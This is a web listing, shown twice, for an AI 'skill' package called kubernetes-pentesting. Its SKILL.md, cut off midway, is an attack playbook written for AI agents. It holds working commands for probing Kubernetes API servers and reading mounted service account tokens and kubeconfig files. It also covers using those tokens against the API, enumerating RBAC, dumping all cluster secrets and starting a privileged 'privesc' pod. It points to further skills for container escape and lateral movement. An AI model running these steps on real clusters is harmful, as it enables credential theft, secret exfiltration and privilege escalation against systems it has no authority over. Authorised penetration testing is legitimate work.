kubernetes-pentesting

Name: kubernetes-pentesting
Author: Prohao42

91stars8forks

How to install kubernetes-pentesting?

prohao42/aimy-skill/kubernetes-pentesting

$npx -y skills add Prohao42/aimy-skill --skill kubernetes-pentesting

Installs into the current project.

Summary

Kubernetes penetration testing playbook. Use when targeting Kubernetes clusters via API server, RBAC enumeration, service account abuse, etcd access, Kubelet API, pod escape, cloud-specific metadata, admission webhook bypass, and registry secrets.

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Kubernetes Pentesting — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert Kubernetes attack techniques. Covers API server access, RBAC escalation, service account token abuse, etcd secrets extraction, Kubelet API exploitation, cloud IMDS access (EKS/GKE/AKS), admission webhook bypass, and network policy evasion. Base models miss the distinction between namespace-scoped and cluster-scoped RBAC, and overlook Kubelet's unauthenticated API.
4
5	## 0. RELATED ROUTING
6
7	Before going deep, consider loading:
8
9	- [container-escape-techniques](../container-escape-techniques/SKILL.md) for escaping from a compromised pod to the underlying node
10	- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) once on a node for escalating to root
11	- [linux-lateral-movement](../linux-lateral-movement/SKILL.md) for pivoting between nodes
12	- [linux-security-bypass](../linux-security-bypass/SKILL.md) when Pod Security Standards or seccomp profiles restrict your actions
13	- [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) when exploiting SSRF to reach the K8s API or cloud metadata
14
15	---
16
17	## 1. K8S API SERVER ACCESS
18
19	### 1.1 Anonymous Access Check
20
21	```bash
22	# Check if anonymous auth is enabled (default: limited in modern clusters)
23	curl -sk https://APISERVER:6443/api/v1/namespaces
24	curl -sk https://APISERVER:6443/version
25	curl -sk https://APISERVER:6443/api
26	curl -sk https://APISERVER:6443/apis
27
28	# Common API server ports:
29	# 6443 — secure API (default)
30	# 8443 — alternative secure
31	# 8080 — insecure API (legacy, no auth needed)
32	```
33
34	### 1.2 Token-Based Authentication (from inside pod)
35
36	```bash
37	TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
38	CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
39	NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
40	APISERVER="https://kubernetes.default.svc"
41
42	curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
43	$APISERVER/api/v1/namespaces/$NAMESPACE/pods
44	```
45
46	### 1.3 Certificate / Kubeconfig Authentication
47
48	```bash
49	# Common kubeconfig locations: ~/.kube/config, /etc/kubernetes/admin.conf,
50	# /etc/kubernetes/kubelet.conf, /var/lib/kubelet/kubeconfig
51	kubectl --kubeconfig=/etc/kubernetes/admin.conf get pods --all-namespaces
52	```
53
54	---
55
56	## 2. RBAC ENUMERATION
57
58	### 2.1 Self-Permission Check
59
60	```bash
61	# What can I do?
62	kubectl auth can-i --list
63	kubectl auth can-i --list -n kube-system
64
65	# Specific checks
66	kubectl auth can-i create pods
67	kubectl auth can-i create pods -n kube-system
68	kubectl auth can-i get secrets
69	kubectl auth can-i '' '' # Full cluster admin?
70
71	# Via API (from inside pod):
72	curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
73	$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
74	-H "Content-Type: application/json" \
75	-d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NAMESPACE\"}}"
76	```
77
78	### 2.2 Role and ClusterRole Enumeration
79
80	```bash
81	kubectl get roles --all-namespaces && kubectl get clusterroles
82	kubectl describe clusterrole CLUSTER_ROLE_NAME
83
84	# Find overprivileged roles (wildcard verbs/resources):
85	kubectl get clusterroles -o json \| python3 -c 'import sys,json;data=json.load(sys.stdin);[print(f"OVERPRIVILEGED: {r[\"metadata\"][\"name\"]}") for r in data["items"] for rule in r.get("rules",[]) if "" in rule.get("verbs",[]) or "" in rule.get("resources",[])]'
86	```
87
88	### 2.3 Dangerous RBAC Permissions
89
90	\| Permission \| Risk \| Escalation Path \|
91	\|---\|---\|---\|
92	\| `pods/exec` \| Critical \| Exec into any pod (access secrets, tokens) \|
93	\| `pods` (create) \| Critical \| Create privileged pod → node access \|
94	\| `secrets` (get/list) \| Critical \| Read all secrets including SA tokens \|
95	\| `serviceaccounts/token` (create) \| Critical \| Generate token for any SA \|
96	\| `nodes/proxy` \| High \| Proxy to Kubelet API \|
97	\| `escalate` on roles \| Critical \| Grant yourself any permission \|
98	\| `bind` on rolebindings \| Critical \| Bind any role to yourself \|
99	\| `impersonate` \| Critical \| Impersonate any user/SA \|
100
101	---
102
103	## 3. SERVICE ACCOUNT TOKEN ABUSE
104
105	### 3.1 Token Location and Decoding
106
107	```bash
108	# Default mount point
109	cat /var/run/secrets/kubernetes.io/serviceaccount/token
110
111	# Decode JWT (no verification needed)
112	TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
113	echo $TOKEN \| cut -d. -f2 \| base64 -d 2>/dev/null \| python3 -m json.tool
114	# Shows: namespace, service account name, expiry
115	```
116
117	### 3.2 Escalation via Service Account
118
119	```bash
120	# If SA has elevated permissions — dump secrets, create privileged pod:
121	kubectl get secrets --all-namespaces
122	kubectl apply -f - << 'EOF'
123	apiVersion: v1
124	kind: Pod
125	metadata: { name: privesc }

People who liked this also viewed

6 picks

Type

kubernetes-pentesting

91stars8forks

View on GitHub

How to install kubernetes-pentesting?

prohao42/aimy-skill/kubernetes-pentesting

$npx -y skills add Prohao42/aimy-skill --skill kubernetes-pentesting

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Kubernetes Pentesting — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert Kubernetes attack techniques. Covers API server access, RBAC escalation, service account token abuse, etcd secrets extraction, Kubelet API exploitation, cloud IMDS access (EKS/GKE/AKS), admission webhook bypass, and network policy evasion. Base models miss the distinction between namespace-scoped and cluster-scoped RBAC, and overlook Kubelet's unauthenticated API.
4
5	## 0. RELATED ROUTING
6
7	Before going deep, consider loading:
8
9	- [container-escape-techniques](../container-escape-techniques/SKILL.md) for escaping from a compromised pod to the underlying node
10	- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) once on a node for escalating to root
11	- [linux-lateral-movement](../linux-lateral-movement/SKILL.md) for pivoting between nodes
12	- [linux-security-bypass](../linux-security-bypass/SKILL.md) when Pod Security Standards or seccomp profiles restrict your actions
13	- [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) when exploiting SSRF to reach the K8s API or cloud metadata
14
15	---
16
17	## 1. K8S API SERVER ACCESS
18
19	### 1.1 Anonymous Access Check
20
21	```bash
22	# Check if anonymous auth is enabled (default: limited in modern clusters)
23	curl -sk https://APISERVER:6443/api/v1/namespaces
24	curl -sk https://APISERVER:6443/version
25	curl -sk https://APISERVER:6443/api
26	curl -sk https://APISERVER:6443/apis
27
28	# Common API server ports:
29	# 6443 — secure API (default)
30	# 8443 — alternative secure
31	# 8080 — insecure API (legacy, no auth needed)
32	```
33
34	### 1.2 Token-Based Authentication (from inside pod)
35
36	```bash
37	TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
38	CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
39	NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
40	APISERVER="https://kubernetes.default.svc"
41
42	curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
43	$APISERVER/api/v1/namespaces/$NAMESPACE/pods
44	```
45
46	### 1.3 Certificate / Kubeconfig Authentication
47
48	```bash
49	# Common kubeconfig locations: ~/.kube/config, /etc/kubernetes/admin.conf,
50	# /etc/kubernetes/kubelet.conf, /var/lib/kubelet/kubeconfig
51	kubectl --kubeconfig=/etc/kubernetes/admin.conf get pods --all-namespaces
52	```
53
54	---
55
56	## 2. RBAC ENUMERATION
57
58	### 2.1 Self-Permission Check
59
60	```bash
61	# What can I do?
62	kubectl auth can-i --list
63	kubectl auth can-i --list -n kube-system
64
65	# Specific checks
66	kubectl auth can-i create pods
67	kubectl auth can-i create pods -n kube-system
68	kubectl auth can-i get secrets
69	kubectl auth can-i '' '' # Full cluster admin?
70
71	# Via API (from inside pod):
72	curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
73	$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
74	-H "Content-Type: application/json" \
75	-d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NAMESPACE\"}}"
76	```
77
78	### 2.2 Role and ClusterRole Enumeration
79
80	```bash
81	kubectl get roles --all-namespaces && kubectl get clusterroles
82	kubectl describe clusterrole CLUSTER_ROLE_NAME
83
84	# Find overprivileged roles (wildcard verbs/resources):
85	kubectl get clusterroles -o json \| python3 -c 'import sys,json;data=json.load(sys.stdin);[print(f"OVERPRIVILEGED: {r[\"metadata\"][\"name\"]}") for r in data["items"] for rule in r.get("rules",[]) if "" in rule.get("verbs",[]) or "" in rule.get("resources",[])]'
86	```
87
88	### 2.3 Dangerous RBAC Permissions
89
90	\| Permission \| Risk \| Escalation Path \|
91	\|---\|---\|---\|
92	\| `pods/exec` \| Critical \| Exec into any pod (access secrets, tokens) \|
93	\| `pods` (create) \| Critical \| Create privileged pod → node access \|
94	\| `secrets` (get/list) \| Critical \| Read all secrets including SA tokens \|
95	\| `serviceaccounts/token` (create) \| Critical \| Generate token for any SA \|
96	\| `nodes/proxy` \| High \| Proxy to Kubelet API \|
97	\| `escalate` on roles \| Critical \| Grant yourself any permission \|
98	\| `bind` on rolebindings \| Critical \| Bind any role to yourself \|
99	\| `impersonate` \| Critical \| Impersonate any user/SA \|
100
101	---
102
103	## 3. SERVICE ACCOUNT TOKEN ABUSE
104
105	### 3.1 Token Location and Decoding
106
107	```bash
108	# Default mount point
109	cat /var/run/secrets/kubernetes.io/serviceaccount/token
110
111	# Decode JWT (no verification needed)
112	TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
113	echo $TOKEN \| cut -d. -f2 \| base64 -d 2>/dev/null \| python3 -m json.tool
114	# Shows: namespace, service account name, expiry
115	```
116
117	### 3.2 Escalation via Service Account
118
119	```bash
120	# If SA has elevated permissions — dump secrets, create privileged pod:
121	kubectl get secrets --all-namespaces
122	kubectl apply -f - << 'EOF'
123	apiVersion: v1
124	kind: Pod
125	metadata: { name: privesc }

People who liked this also viewed

6 picks

Type